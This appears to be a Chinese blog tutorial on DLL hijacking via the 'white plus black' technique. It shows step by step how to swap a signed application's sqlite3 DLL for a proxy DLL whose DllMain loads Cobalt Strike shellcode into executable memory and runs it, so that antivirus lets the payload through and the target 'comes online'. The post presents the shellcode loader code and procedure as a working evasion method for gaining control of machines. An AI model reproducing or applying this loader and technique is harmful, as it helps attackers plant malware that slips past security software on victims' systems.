DLL劫持-白加黑

本文探讨了在有杀毒软件保护的环境下,如何通过修改数字签名应用的DLL来实现DLL劫持,利用白名单策略绕过安全检查,成功上线恶意目标。着重介绍了使用shellcode技术,以及如何编译并替换目标应用DLL的过程。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

0x01 前言

DLL劫持可以用作权限维持,权限提升等作用,下面介绍一下在有杀毒软件的情况下dll劫持通过白加黑的方式获取权限,上线目标。

杀软在检测一个应用是否为病毒的时候,首先会通过黑白名单校验-病毒特征库查询-上传云查杀,在黑白名单校验阶段,如果是白名单中的应用则可以成功运行,白名单也就是有数字签名的应用,我们可以通过修改有数字签名应用中的dll,当该应用启动时会调用该dll,从而上线目标。

0x02 复现

使用cs生成shellcode
在这里插入图片描述

使用管理员权限打开Aheadlib+ 选择要劫持转发的dll,点击生成
在这里插入图片描述
将原始的DLL改名换成sqlite3Org

将生成的.cpp文件的内容复制到创建的dll项目

找到dll入口点

#include <Windows.h>
#include "pch.h"

········(为生成的.cpp文件的内容)


BOOL WINAPI DllMain(HMODULE hModule, DWORD dwReason, PVOID pvReserved)
{
	unsigned char buf[] = "shellcode";
	void *exec = VirtualAlloc(0, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);//分配内存空间,赋予执行读取权限
	memcpy(exec, buf, sizeof(buf));//将buf的内容拷贝到内存中
	CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec, 0, 0, 0);//创建线程运行shellcode,将地址转换成可运行的线程函数

	if (dwReason == DLL_PROCESS_ATTACH)
	{
		DisableThreadLibraryCalls(hModule);

		return Load();
	}
	else if (dwReason == DLL_PROCESS_DETACH)
	{
		Free();
	}

	return TRUE;
}

········(为生成的.cpp文件的内容)

编译生成dll文件
在这里插入图片描述

替换目标应用中的dll

运行 未拦截 成功上线
在这里插入图片描述
在这里插入图片描述

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值